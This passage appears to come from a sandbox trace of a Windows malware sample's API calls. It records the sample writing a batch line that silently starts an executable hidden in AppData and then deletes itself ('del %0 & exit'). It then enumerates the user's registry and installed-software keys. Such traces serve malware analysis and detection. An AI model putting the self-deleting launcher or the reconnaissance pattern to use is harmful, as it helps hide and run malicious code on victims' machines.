C:\\Users\\5P5NRG~1\\AppData\\Roaming\\yPQYM2VS\r\ndel %0 & exit", cchWideChar=121, lpMultiByteStr=0x226eae8, cbMultiByte=121, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="start /b C:\\Users\\5P5NRG~1\\AppData\\Roaming\\pLC1YKI\\OSMLM8~1.EXE C:\\Users\\5P5NRG~1\\AppData\\Roaming\\yPQYM2VS\r\ndel %0 & exit", lpUsedDefaultChar=0x0) returned 121 [0140.753] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226eb70 [0140.753] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226eae8) returned 1 [0140.753] WriteFile (in: hFile=0x13c, lpBuffer=0x226eb70*, nNumberOfBytesToWrite=0x79, lpNumberOfBytesWritten=0x20f5a0, lpOverlapped=0x0 | out: lpBuffer=0x226eb70*, lpNumberOfBytesWritten=0x20f5a0*=0x79, lpOverlapped=0x0) returned 1 [0140.753] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226eb70) returned 1 [0140.753] NtClose (Handle=0x13c) returned 0x0 [0140.754] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226ea60) returned 1 [0140.754] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226ea60 [0140.754] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x21695b8 [0140.754] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226eb70 [0140.754] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x280) returned 0x21632f0 [0140.754] SHRegDuplicateHKey (hkey=0x80000001) returned 0x80000001 [0140.754] RegEnumKeyW (in: hKey=0x80000001, dwIndex=0x0, lpName=0x21632f0, cchName=0x104 | out: lpName="AppEvents") returned 0x0 [0140.754] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226eae8 [0140.754] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appevents", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0140.754] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169570 [0140.754] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appevents", cchWideChar=9, lpMultiByteStr=0x2169570, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appevents", lpUsedDefaultChar=0x0) returned 9 [0140.754] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x21694e0 [0140.754] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169570) returned 1 [0140.754] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x21694e0) returned 1 [0140.754] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226eae8) returned 1 [0140.754] RegEnumKeyW (in: hKey=0x80000001, dwIndex=0x1, lpName=0x21632f0, cchName=0x104 | out: lpName="Console") returned 0x0 [0140.754] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226eae8 [0140.754] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="console", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0140.754] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x21694e0 [0140.754] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="console", cchWideChar=7, lpMultiByteStr=0x21694e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="console", lpUsedDefaultChar=0x0) returned 7 [0140.754] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169570 [0140.754] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x21694e0) returned 1 [0140.754] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169570) returned 1 [0140.754] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226eae8) returned 1 [0140.754] RegEnumKeyW (in: hKey=0x80000001, dwIndex=0x2, lpName=0x21632f0, cchName=0x104 | out: lpName="Control Panel") returned 0x0 [0140.754] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226eae8 [0140.754] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control panel", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0140.754] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169570 [0140.754] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control panel", cchWideChar=13, lpMultiByteStr=0x2169570, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control panel", lpUsedDefaultChar=0x0) returned 13 [0140.754] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x21694e0 [0140.755] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169570) returned 1 [0140.755] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x21694e0) returned 1 [0140.755] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226eae8) returned 1 [0140.755] RegEnumKeyW (in: hKey=0x80000001, dwIndex=0x3, lpName=0x21632f0, cchName=0x104 | out: lpName="Environment") returned 0x0 [0140.755] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226eae8 [0140.755] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="environment", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0140.755] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x21694e0 [0140.755] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="environment", cchWideChar=11, lpMultiByteStr=0x21694e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="environment", lpUsedDefaultChar=0x0) returned 11 [0140.755] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169570 [0140.755] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x21694e0) returned 1 [0140.755] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169570) returned 1 [0140.755] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226eae8) returned 1 [0140.755] RegEnumKeyW (in: hKey=0x80000001, dwIndex=0x4, lpName=0x21632f0, cchName=0x104 | out: lpName="EUDC") returned 0x0 [0140.755] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226eae8 [0140.755] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eudc", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0140.755] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169570 [0140.755] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eudc", cchWideChar=4, lpMultiByteStr=0x2169570, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eudc", lpUsedDefaultChar=0x0) returned 4 [0140.755] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x21694e0 [0140.755] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169570) returned 1 [0140.755] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x21694e0) returned 1 [0140.755] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226eae8) returned 1 [0140.755] RegEnumKeyW (in: hKey=0x80000001, dwIndex=0x5, lpName=0x21632f0, cchName=0x104 | out: lpName="Identities") returned 0x0 [0140.755] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226eae8 [0140.755] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identities", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0140.755] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x21694e0 [0140.755] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identities", cchWideChar=10, lpMultiByteStr=0x21694e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="identities", lpUsedDefaultChar=0x0) returned 10 [0140.755] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169570 [0140.755] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x21694e0) returned 1 [0140.755] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169570) returned 1 [0140.755] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226eae8) returned 1 [0140.755] RegEnumKeyW (in: hKey=0x80000001, dwIndex=0x6, lpName=0x21632f0, cchName=0x104 | out: lpName="Keyboard Layout") returned 0x0 [0140.755] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226eae8 [0140.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="keyboard layout", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0140.756] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169570 [0140.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="keyboard layout", cchWideChar=15, lpMultiByteStr=0x2169570, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="keyboard layout", lpUsedDefaultChar=0x0) returned 15 [0140.756] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x21694e0 [0140.756] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169570) returned 1 [0140.756] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x21694e0) returned 1 [0140.756] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226eae8) returned 1 [0140.756] RegEnumKeyW (in: hKey=0x80000001, dwIndex=0x7, lpName=0x21632f0, cchName=0x104 | out: lpName="Network") returned 0x0 [0140.756] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226eae8 [0140.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="network", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0140.756] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x21694e0 [0140.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="network", cchWideChar=7, lpMultiByteStr=0x21694e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="network", lpUsedDefaultChar=0x0) returned 7 [0140.756] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169570 [0140.756] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x21694e0) returned 1 [0140.756] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169570) returned 1 [0140.756] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226eae8) returned 1 [0140.756] RegEnumKeyW (in: hKey=0x80000001, dwIndex=0x8, lpName=0x21632f0, cchName=0x104 | out: lpName="Printers") returned 0x0 [0140.756] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226eae8 [0140.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="printers", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0140.756] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169570 [0140.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="printers", cchWideChar=8, lpMultiByteStr=0x2169570, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="printers", lpUsedDefaultChar=0x0) returned 8 [0140.756] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x21694e0 [0140.756] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169570) returned 1 [0140.756] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x21694e0) returned 1 [0140.756] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226eae8) returned 1 [0140.756] RegEnumKeyW (in: hKey=0x80000001, dwIndex=0x9, lpName=0x21632f0, cchName=0x104 | out: lpName="Software") returned 0x0 [0140.756] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226eae8 [0140.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0140.756] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x21694e0 [0140.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21694e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0140.756] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169570 [0140.756] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x21694e0) returned 1 [0140.756] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169570) returned 1 [0140.756] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226eae8) returned 1 [0140.757] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software", ulOptions=0x0, samDesired=0x20109, phkResult=0x20f558 | out: phkResult=0x20f558*=0x140) returned 0x0 [0140.757] RegCloseKey (hKey=0x80000001) returned 0x0 [0140.757] RegEnumKeyW (in: hKey=0x140, dwIndex=0x0, lpName=0x21632f0, cchName=0x104 | out: lpName="Adobe") returned 0x0 [0140.757] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226eae8 [0140.757] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobe", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0140.757] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169570 [0140.757] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobe", cchWideChar=5, lpMultiByteStr=0x2169570, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobe", lpUsedDefaultChar=0x0) returned 5 [0140.757] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x21694e0 [0140.757] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169570) returned 1 [0140.757] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x21694e0) returned 1 [0140.757] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226eae8) returned 1 [0140.757] RegEnumKeyW (in: hKey=0x140, dwIndex=0x1, lpName=0x21632f0, cchName=0x104 | out: lpName="AppDataLow") returned 0x0 [0140.757] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226eae8 [0140.757] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appdatalow", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0140.757] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x21694e0 [0140.757] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appdatalow", cchWideChar=10, lpMultiByteStr=0x21694e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appdatalow", lpUsedDefaultChar=0x0) returned 10 [0140.757] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169570 [0140.757] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x21694e0) returned 1 [0140.757] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169570) returned 1 [0140.757] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226eae8) returned 1 [0140.757] RegEnumKeyW (in: hKey=0x140, dwIndex=0x2, lpName=0x21632f0, cchName=0x104 | out: lpName="Clients") returned 0x0 [0140.757] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226eae8 [0140.757] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clients", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0140.757] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169570 [0140.757] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clients", cchWideChar=7, lpMultiByteStr=0x2169570, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clients", lpUsedDefaultChar=0x0) returned 7 [0140.757] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x21694e0 [0140.757] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169570) returned 1 [0140.757] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x21694e0) returned 1 [0140.757] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226eae8) returned 1 [0140.757] RegEnumKeyW (in: hKey=0x140, dwIndex=0x3, lpName=0x21632f0, cchName=0x104 | out: lpName="Google") returned 0x0 [0140.758] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226eae8 [0140.758] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="google", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0140.758] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x21694e0 [0140.758] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="google", cchWideChar=6, lpMultiByteStr=0x21694e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="google", lpUsedDefaultChar=0x0) returned 6 [0140.758] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169570 [0140.758] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x21694e0) returned 1 [0140.758] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169570) returned 1 [0140.758] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226eae8) returned 1 [0140.758] RegEnumKeyW (in: hKey=0x140, dwIndex=0x4, lpName=0x21632f0, cchName=0x104 | out: lpName="JavaSoft") returned 0x0 [0140.758] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226eae8 [0140.758] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="javasoft", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0140.758] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169570 [0140.758] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="javasoft", cchWideChar=8, lpMultiByteStr=0x2169570, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="javasoft", lpUsedDefaultChar=0x0) returned 8 [0140.758] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x21694e0 [0140.758] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169570) returned 1 [0140.758] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x21694e0) returned 1 [0140.758] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226eae8) returned 1 [0140.758] RegEnumKeyW (in: hKey=0x140, dwIndex=0x5, lpName=0x21632f0, cchName=0x104 | out: lpName="Macromedia") returned 0x0 [0140.758] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226eae8 [0140.758] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="macromedia", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0140.758] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x21694e0 [0140.758] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="macromedia", cchWideChar=10, lpMultiByteStr=0x21694e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="macromedia", lpUsedDefaultChar=0x0) returned 10 [0140.758] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169570 [0140.758] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x21694e0) returned 1 [0140.758] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169570) returned 1 [0140.758] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226eae8) returned 1 [0140.758] RegEnumKeyW (in: hKey=0x140, dwIndex=0x6, lpName=0x21632f0, cchName=0x104 | out: lpName="Microsoft") returned 0x0 [0140.758] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226eae8 [0140.758] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0140.758] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169570 [0140.758] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft", cchWideChar=9, lpMultiByteStr=0x2169570, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft", lpUsedDefaultChar=0x0) returned 9 [0140.758] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x21694e0 [0140.758] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169570) returned 1 [0140.758] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x21694e0) returned 1 [0140.758] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226eae8) returned 1 [0140.758] RegEnumKeyW (in: hKey=0x140, dwIndex=0x7, lpName=0x21632f0, cchName=0x104 | out: lpName="Mozilla") returned 0x0 [0140.759] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226eae8 [0140.759] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mozilla", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0140.759] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x21694e0 [0140.759] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mozilla", cchWideChar=7, lpMultiByteStr=0x21694e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mozilla", lpUsedDefaultChar=0x0) returned 7 [0140.759] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169570 [0140.759] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x21694e0) returned 1 [0140.759] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169570) returned 1 [0140.759] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226eae8) returned 1 [0140.759] RegEnumKeyW (in: hKey=0x140, dwIndex=0x8, lpName=0x21632f0, cchName=0x104 | out: lpName="Netscape") returned 0x0 [0140.759] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226eae8 [0140.759] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netscape", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0140.759] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169570 [0140.759] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netscape", cchWideChar=8, lpMultiByteStr=0x2169570, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="netscape", lpUsedDefaultChar=0x0) returned 8 [0140.759] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x21694e0 [0140.759] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169570) returned 1 [0140.759] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x21694e0) returned 1 [0140.759] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226eae8) returned 1 [0140.759] RegEnumKeyW (in: hKey=0x140, dwIndex=0x9, lpName=0x21632f0, cchName=0x104 | out: lpName="ODBC") returned 0x0 [0140.759] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226eae8 [0140.759] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="odbc", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0140.759] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x21694e0 [0140.759] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="odbc", cchWideChar=4, lpMultiByteStr=0x21694e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="odbc", 